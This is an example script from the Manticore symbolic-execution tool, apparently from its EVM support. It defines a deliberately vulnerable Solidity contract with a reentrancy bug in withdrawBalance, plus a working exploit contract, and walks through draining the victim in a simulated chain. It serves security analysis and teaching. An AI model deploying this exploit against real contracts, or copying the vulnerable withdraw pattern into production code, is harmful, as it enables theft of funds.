manticore/examples/evm/reentrancy_concrete.py
feliam 8591bff45f EVM support (#521)
* WIP New Policy class

* WIP pubsub

* Update Signal tests

* EVM support - Wip

* EVM support - dependencies fixed

* EVM support - fix decree merge

* fix decode instrucion event

* Fix small bugs in evm opcodes (too many arguments + wrong LOG name) (#380)

Fix wrong call parameters + typo

* Fix Create/Call

* Fix depth

* Default fixed point in arithmetic simplifier

* small fixes from github comments

* Fix event decode_instruction signature

* wip wip

* Auto tests for evm

* New EVM tests

* Ran 9556  FAILED (failures=166, errors=8, skipped=62)

* Fix some arithmetic instructions

* Ran 9556  FAILED (failures=136, errors=8, skipped=62)

* More instructions - Optimizing symbolic memory

* Added gas to opcodes description - FIX DELEGATECALL POPS

* Add wip wallet example

* The tests

* Solidity constructors need argument after bytecode

* Simple integer overflow working

* Good merge

* Good good merge

* WIP manticore refactor

* Fix default old-style initial state

* context now working

* Fix context serialization

* Fix test models.  Can not set a state constraints

* typo

* A few typos (constraints setter) and use of public properties in internal methods

* Fix init wallet example

* State __init__ needs to initialize platform constraints

* Internal methods use internal properties

* Better attack modeling

* Better example layout

* Storage backup on CALL is now faster .. and correct

* Add LOG support

* Minimal SE test

* Added examples

* Send ether bugfix

* EVM: Fix wrong balance destination on CALL + decrease caller balance on CREATE

* New balance management

* Trying to maintain known hashes

* Known hash concretization policy

* CALLDATA max size bugfix

* Minimal SE example

* Remove evm tests

* add -> enqueue

* @m.init

* Fix workspace url

* Some test skipped

* Ad Fixme to platform specific stuff in State

* add -> enqueue

* Enqueue created state

* Fix m.init

Use a messy hack to adhere to the spec (callback func receive 1 state argument)

* Add _coverage_file ivar to Manticore

* Fix symbolic files

* remove extra enqueue

* Fixing __main__

* comments

* Fix visitors oddity

* setup merged

* remove duplicates and add pysha3

* Remove EVMTests import

* Refactor platform specific code out of ManticoreOutput (#505)

* Initial moving work

* Clean

* Make linux.generate_workspace_files work

* Fix

* clean

* Add test

* Test workspace for platform files

* Skip EVM cpu pretty print

* Remove bad import

* Fix coverage.py for testing

* Clean comment

* Comment hack

* Print evm cpu

* pretty print evm world instead of platform

* delet old scripts/examples

* delet old tests

* Remove z3 install script

* Array.max_size can be None, include check for that

* Rm unused _symbolic_files

add_symbolic_files was moved to linux, so this is not needed

* Rm unused args

* Import evm

* Rm dup function

* Rm stray prints

* Add docs for new classmethod apis

* minimal

* minimal example

* fix minimal

* Fair symbolic SHA3 handling

* Simple mapping example

* coverage example

* fix tests

* fix minimal

* Some eko fixes

* New SETH

* integer_overflow refactored

* Fixing the examples

* init_bytecode -> init
'

* Concrete reentrancy exampole

* concrete reentrancy selfdestruct

* Update minimal.py

* It's a new Minimal

* Integer overflow example

* New minimal

* minimal fix

* Examples last minute fixes

* Remove debug print

* add plugin.py

* Fixing event subscription

* remove temp params

* Remove param

* Update uncovered will_exec callback prototype

* Clean up debug output

* Automatically generated intruction tests

* Uninplemented instruction test removed

* Unused concretization policy removed

* Fixes enabling default bplugins

* solc from PATH

* Removed unused import

* Logger name updated
2017-10-17 19:47:20 -03:00

183 lines
6.6 KiB
Python

from seth import ManticoreEVM
################ Script #######################
seth = ManticoreEVM()
seth.verbosity(0)
#The contract account to analyze
contract_source_code = '''
pragma solidity ^0.4.15;
contract Reentrance {
mapping (address => uint) userBalance;
function getBalance(address u) constant returns(uint){
return userBalance[u];
}
function addToBalance() payable{
userBalance[msg.sender] += msg.value;
}
function withdrawBalance(){
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
revert();
}
userBalance[msg.sender] = 0;
}
}
//Function signatures:
//c0e317fb: addToBalance()
//f8b2cb4f: getBalance(address)
//5fd8c710: withdrawBalance()
'''
exploit_source_code = '''
pragma solidity ^0.4.15;
contract GenericReentranceExploit {
event Log(address);
int reentry_reps=10;
address vulnerable_contract=0x4141414141414141;
address owner;
bytes reentry_attack_string;
function GenericReentranceExploit(address _vulnerable_contract){
vulnerable_contract = _vulnerable_contract;
owner = msg.sender;
Log(vulnerable_contract);
}
function set_vulnerable_contract(address _vulnerable_contract){
vulnerable_contract = _vulnerable_contract ;
}
function set_reentry_attack_string(bytes _reentry_attack_string){
reentry_attack_string = _reentry_attack_string;
}
function set_reentry_reps(int reps){
reentry_reps = reps;
}
function delegate(bytes data) payable{
// call addToBalance with msg.value ethers
vulnerable_contract.call.value(msg.value)(data);
}
function get_money(){
suicide(owner);
}
function () payable{
// reentry_reps is used to execute the attack a number of times
// otherwise there is a loop between withdrawBalance and the fallback function
if (reentry_reps > 0){
reentry_reps = reentry_reps - 1;
vulnerable_contract.call(reentry_attack_string);
}
}
}
//Function signatures:
//0ccfac9e: delegate(bytes)
//b8029269: get_money()
//9d15fd17: set_reentry_attack_string(bytes)
//0d4b1aca: set_reentry_reps(int256)
//beac44e7: set_vulnerable_contract(address)
'''
contract_bytecode = seth.compile(contract_source_code)
exploit_bytecode = seth.compile(exploit_source_code)
attacker_account = seth.create_account(balance=10)
user_account = seth.create_account(balance=1000)
contract_account = seth.create_contract(owner=user_account,
init=contract_bytecode)
'''
c0e317fb addToBalance()
f8b2cb4f getBalance(address)
5fd8c710 withdrawBalance()'''
''
print "[+] Setup the exploit"
exploit_account = seth.create_contract(owner=attacker_account,
init=exploit_bytecode+seth.pack_msb(contract_account))
print "\t Setting attack string"
#'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10',
seth.transaction( caller=attacker_account,
address=exploit_account,
data=seth.make_function_call("set_reentry_attack_string(bytes)", seth.make_function_id('withdrawBalance()')),
value=0)
print "[+] Initial world state"
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
#User deposits all in contract
print "[+] user deposited some."
#'\xc0\xe3\x17\xfb'
seth.transaction( caller=user_account,
address=contract_account,
data=seth.make_function_call('addToBalance()'),
value=1000)
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
print "[+] Let attacker deposit some small amount using exploit"
#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\xc0\xe3\x17\xfb',
seth.transaction( caller=attacker_account,
address=exploit_account,
data=seth.make_function_call('delegate(bytes)', seth.make_function_id('addToBalance()')),
value=5)
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
print "[+] Let attacker extract all using exploit"
#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10'
seth.transaction( caller=attacker_account,
address=exploit_account,
data=seth.make_function_call('delegate(bytes)', seth.make_function_id('withdrawBalance()')),
value=0)
print "[+] Let attacker destroy the exploit andprofit"
seth.transaction( caller=attacker_account,
address=exploit_account,
data=seth.make_function_call('get_money()'),
value=0)
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
for state_id in seth.final_state_ids:
seth.report(state_id)
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
for state_id in seth.running_state_ids:
seth.report(state_id)
print "[+] Global coverage:"
print seth.coverage(contract_account)